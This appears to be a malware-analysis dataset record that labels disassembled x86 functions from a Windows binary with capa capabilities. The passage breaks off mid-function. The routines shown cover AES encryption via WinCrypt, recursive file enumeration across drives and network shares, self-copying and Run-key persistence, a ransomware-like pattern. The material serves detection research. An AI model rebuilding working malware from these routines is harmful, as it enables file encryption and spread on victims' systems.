joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405940
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x44c054]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x30], 8
mov byte [ebp - 0x2f], 2
xor eax, eax
mov word [ebp - 0x2e], ax
mov dword [ebp - 0x2c], 0x6610
mov dword [ebp - 0x28], 0x20
push 0x20
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x24]
push edx
call fcn.00419980
add esp, 0xc
push 0xf0000008
push 0x18
push 0
push 0
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x405a4f
lea ecx, [ebp - 0x38]
push ecx
push 0
push 0
push 0x2c
lea edx, [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x405a43
mov ecx, dword [ebp + 0xc]
add ecx, 0x10
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], 0
mov edx, dword [ebp - 0x40]
push edx
mov ecx, dword [ebp + 0x14]
call fcn.00415640
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp + 0x14]
call fcn.00412910
push eax
call fcn.00419980
add esp, 0xc
mov edx, dword [ebp - 0x40]
push edx
lea eax, [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x14]
call fcn.00412910
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x405a2d
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x44], edx
mov byte [ebp - 0x31], 1
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp + 0x14]
call fcn.00415640
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, byte [ebp - 0x31]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00417bc0
mov esp, ebp
pop ebp
ret
Function at 0x407760
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43a787
mov eax, dword fs:[0]
push eax
sub esp, 0x2f4
mov eax, dword [0x44c054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x58]
push ecx
call fcn.00402710
add esp, 8
mov dword [ebp - 4], 0
push 0x43c3e4
lea edx, [ebp - 0x58]
push edx
lea eax, [ebp - 0x40]
push eax
call fcn.00408e60
add esp, 0xc
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2f0]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00413100
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0xffffffff
jne 0x407800
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.0040df30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.0040df30
jmp 0x4079a1
mov byte [ebp - 0x2f1], 0
lea edx, [ebp - 0x2c4]
push edx
lea ecx, [ebp - 0x88]
call fcn.0040c700
mov byte [ebp - 4], 2
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x28]
push ecx
call fcn.004027c0
add esp, 8
mov byte [ebp - 4], 3
push 0x43c3ec
lea edx, [ebp - 0x28]
push edx
call fcn.00408c00
add esp, 8
movzx eax, al
test eax, eax
je 0x40790e
push 0x43c3f0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00408c00
add esp, 8
movzx edx, al
test edx, edx
je 0x40790e
lea eax, [ebp - 0x28]
push eax
push 0x43c3f4
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0xa0]
push edx
call fcn.00408d90
add esp, 0xc
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x300], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x300]
push ecx
lea edx, [ebp - 0x70]
push edx
call fcn.00408c80
add esp, 0xc
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xa0]
call fcn.0040df10
mov eax, dword [ebp - 0x2f0]
and eax, 0x10
je 0x4078e1
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x70]
push eax
call fcn.00407760
add esp, 0xc
jmp 0x407902
lea ecx, [ebp - 0x28]
push ecx
call fcn.004053d0
add esp, 4
movzx edx, al
test edx, edx
je 0x407902
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x70]
push ecx
call dword [ebp + 0x10]
add esp, 8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
call fcn.0040df10
mov edx, dword [ebp + 8]
push edx
call fcn.00405a60
add esp, 4
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.0040df10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x88]
call fcn.0040df30
lea eax, [ebp - 0x2f0]
push eax
mov ecx, dword [ebp - 0x2f8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x407807
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x407979
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.0040df30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.0040df30
jmp 0x4079a1
mov edx, dword [ebp - 0x2f8]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.0040df30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.0040df30
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417bc0
mov esp, ebp
pop ebp
ret
Function at 0x4079c0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43a7be
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x44c054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x43c3f8]
mov dword [ebp - 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 0
jmp 0x407a0b
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0x1a
jge 0x407a6a
mov edx, 1
mov ecx, dword [ebp - 0x2c]
shl edx, cl
and edx, dword [ebp - 0x34]
je 0x407a68
mov eax, dword [ebp - 0x2c]
add eax, 0x41
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0x30], al
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040c080
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x28]
push eax
call fcn.00407760
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.0040df10
jmp 0x407a02
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417bc0
mov esp, ebp
pop ebp
ret
Function at 0x407ba0
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43a83f
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x44c054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4c], 0x4000
mov dword [ebp - 0x58], 0xffffffff
lea eax, [ebp - 0x5c]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 1
push 2
call sub.MPR.dll_WNetOpenEnumW
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
je 0x407bf9
xor eax, eax
jmp 0x407d52
mov edx, dword [ebp - 0x4c]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x407c15
xor eax, eax
jmp 0x407d52
mov eax, dword [ebp - 0x4c]
push eax
push 0
mov ecx, dword [ebp - 0x44]
push ecx
call fcn.00419f00
add esp, 0xc
lea edx, [ebp - 0x4c]
push edx
mov eax, dword [ebp - 0x44]
push eax
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
call sub.MPR.dll_WNetEnumResourceW
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x407d15
mov dword [ebp - 0x48], 0
jmp 0x407c5b
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x58]
jae 0x407d13
mov edx, dword [ebp - 0x48]
shl edx, 5
mov eax, dword [ebp - 0x44]
cmp dword [eax + edx + 8], 3
jne 0x407cdd
mov ecx, dword [ebp - 0x48]
shl ecx, 5
mov edx, dword [ebp - 0x44]
mov eax, dword [edx + ecx + 0x14]
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040c700
mov dword [ebp - 4], 0
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x28]
push eax
call fcn.004027c0
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x28]
push eax
call fcn.00407760
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.0040df10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.0040df30
mov ecx, dword [ebp - 0x48]
shl ecx, 5
mov edx, dword [ebp - 0x44]
mov eax, dword [edx + ecx + 0xc]
and eax, 2
je 0x407d0e
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x48]
shl eax, 5
add eax, dword [ebp - 0x44]
push eax
call fcn.00407ba0
test eax, eax
jne 0x407d0e
xor eax, eax
jmp 0x407d52
jmp 0x407c52
jmp 0x407d20
cmp dword [ebp - 0x50], 0x103
je 0x407d20
jmp 0x407d2d
cmp dword [ebp - 0x50], 0x103
jne 0x407c15
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov edx, dword [ebp - 0x5c]
push edx
call sub.MPR.dll_WNetCloseEnum
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
je 0x407d4d
xor eax, eax
jmp 0x407d52
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417bc0
mov esp, ebp
pop ebp
ret 0xc
Function at 0x407da0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43a88c
mov eax, dword fs:[0]
push eax
sub esp, 0x184
mov eax, dword [0x44c054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
jne 0x407df5
xor al, al
jmp 0x407f33
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x12c]
call fcn.0040c080
mov dword [ebp - 4], 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0x43c400
lea ecx, [ebp - 0x12c]
call fcn.00414390
add eax, 1
push eax
lea edx, [ebp - 0x174]
push edx
lea ecx, [ebp - 0x12c]
call fcn.00415d10
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x184], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x184]
push ecx
push 0x43c404
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x15c]
push eax
call fcn.00408d90
add esp, 0xc
mov dword [ebp - 0x188], eax
mov ecx, dword [ebp - 0x188]
mov dword [ebp - 0x18c], ecx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x18c]
push edx
lea eax, [ebp - 0x144]
push eax
call fcn.00408c40
add esp, 0xc
mov dword [ebp - 0x190], eax
mov ecx, dword [ebp - 0x190]
push ecx
mov ecx, dword [ebp + 0xc]
call fcn.0040e530
lea ecx, [ebp - 0x144]
call fcn.0040df10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x15c]
call fcn.0040df10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x174]
call fcn.0040df10
push 0
mov ecx, dword [ebp + 0xc]
call fcn.004130e0
push eax
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x407f14
mov byte [ebp - 0x175], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12c]
call fcn.0040df10
mov al, byte [ebp - 0x175]
jmp 0x407f33
mov byte [ebp - 0x176], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12c]
call fcn.0040df10
mov al, byte [ebp - 0x176]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417bc0
mov esp, ebp
pop ebp
ret

Function at 0x407f50
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 8]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x407f7b
xor al, al
jmp 0x407fca
mov ecx, dword [ebp + 0xc]
call fcn.00415b70
add eax, 1
push eax
mov ecx, dword [ebp + 0xc]
call fcn.004130e0
push eax
push 1
push 0
mov ecx, dword [ebp + 8]
call fcn.004130e0
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x407fbe
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x407fca
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x4165a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], ecx
cmp dword [ebp + 0x10], 0
jg 0x4165c0
jl 0x4165b7
cmp dword [ebp + 0xc], 0
ja 0x4165c0
xor eax, eax
xor edx, edx
jmp 0x4166f7
mov eax, dword [ebp - 8]
cmp dword [eax + 0x38], 0
je 0x4165e2
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
call fcn.00416700
jmp 0x4166f7
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
call fcn.00410d30
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jbe 0x416651
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.0040b300
add esp, 8
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 8]
call fcn.00414600
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.004133a0
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [ebp - 8]
call fcn.004144d0
mov eax, dword [ebp - 8]
cmp dword [eax + 0x4c], 0
je 0x4166e8
mov ecx, dword [ebp - 8]
call fcn.00411eb0
mov dword [ebp - 0x18], 0xfff
cmp dword [ebp - 4], 0xfff
jbe 0x4166c1
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x4c]
push edx
push 0xfff
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.0041d4fc
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10]
mov dword [ebp + 8], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
cmp dword [ebp - 0x10], 0xfff
je 0x4166bf
xor eax, eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
sbb edx, eax
mov eax, ecx
jmp 0x4166f7
jmp 0x41666d
cmp dword [ebp - 4], 0
jbe 0x4166e8
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x4c]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call fcn.0041d4fc
add esp, 0x10
mov ecx, dword [ebp - 4]
sub ecx, eax
mov dword [ebp - 4], ecx
xor edx, edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
sbb ecx, edx
mov edx, ecx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x41c6e8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41c727
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41c727
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41c727
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41c727
cmp dword [ecx + 0x74], 0xe
jbe 0x41c727
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x429ee5
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x440708
push 0x440700
push str.FlsAlloc
push 0x1f
call fcn.00429d50
mov esi, eax
add esp, 0x10
test esi, esi
je 0x429f19
push dword [ebp + 8]
mov ecx, esi
call dword [0x43c204]
call esi
jmp 0x429f1f
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x429f63
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x440718
push 0x440710
push str.FlsGetValue
push 0x21
call fcn.00429d50
mov esi, eax
add esp, 0x10
test esi, esi
je 0x429f9a
push dword [ebp + 8]
mov ecx, esi
call dword [0x43c204]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x429fa2
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x440720
push 0x440718
push str.FlsSetValue
push 0x22
call fcn.00429d50
mov esi, eax
add esp, 0x10
test esi, esi
je 0x429fdc
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x43c204]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x42ba63
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00417bd0
mov eax, dword [0x44c054]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0042a518
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x42baa5
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x42bc01
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00439800
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x44db38]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0042ca60
mov ecx, dword [esi*4 + 0x44db38]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x42bbfa
cmp eax, dword [ecx + edi + 0x24]
jne 0x42bbfa
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42bbfa
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0042ca60
add esp, 0x14
test edx, edx
jl 0x42bbfa
jg 0x42bb70
test eax, eax
jb 0x42bbfa
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x42bbfa
jl 0x42bb8a
cmp dword [ebp - 0x1008], eax
ja 0x42bbfa
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x42bba8
test ebx, ebx
je 0x42bbe1
cmp ecx, edi
jae 0x42bbe1
mov al, byte [ecx]
cmp al, 0xd
jne 0x42bbc2
lea eax, [edi - 1]
cmp ecx, eax
jae 0x42bbce
cmp byte [ecx + 1], 0xa
jne 0x42bbce
inc ecx
jmp 0x42bbce
movzx eax, al
movsx eax, byte [eax + 0x44c2d0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x42bba8
cmp edx, ebx
jne 0x42bba8
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x42bbff
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00417bc0
leave
ret
Function at 0x42bef8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x44db38]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x42bf38
cmp byte [ebx], 0xa
jne 0x42bf38
or byte [edi + eax + 0x28], 4
jmp 0x42bf3d
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x42c03c
mov dl, byte [eax]
cmp dl, 0x1a
je 0x42c01f
inc eax
cmp dl, 0xd
je 0x42bf69
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x42bf8f
cmp eax, ecx
jae 0x42bf9d
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x42bf51
jmp 0x42c03c
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42c01a
cmp dword [ebp - 0x10], 0
je 0x42c01a
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x44db38]
test byte [eax + edi + 0x28], 0x48
je 0x42bff4
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x42bfdf
mov byte [esi], dl
jmp 0x42bff0
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x44db38]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x42c03c
cmp byte [ebp - 1], 0xa
jne 0x42c003
cmp esi, ebx
jne 0x42c003
mov byte [esi], 0xa
jmp 0x42c03b
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0042ca7e
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x42c03c
mov byte [esi], 0xd
jmp 0x42c03b
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x44db38]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x42c039
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x42c03c
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42c045
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x44db38]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x42c08b
cmp word [ebx], dx
jne 0x42c08b
or byte [eax + edi + 0x28], 4
jmp 0x42c090
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x42c1f3
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x42c1d3
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x42c0d1
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x42c107
cmp eax, edx
jae 0x42c115
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x42c0ac
jmp 0x42c1f3
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42c1ce
cmp dword [ebp - 0x18], 0
je 0x42c1ce
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x44db38]
test byte [eax + edi + 0x28], 0x48
je 0x42c1a4
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x42c168
mov word [esi], cx
jmp 0x42c19f
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x44db38]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x44db38]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x44db38]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x42c1f3
pop eax
cmp word [ebp - 4], ax
jne 0x42c1b4
cmp esi, ebx
jne 0x42c1b4
mov word [esi], ax
jmp 0x42c1f0
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0042ca7e
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x42c1f3
push 0xd
pop eax
jmp 0x42c1af
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x44db38]
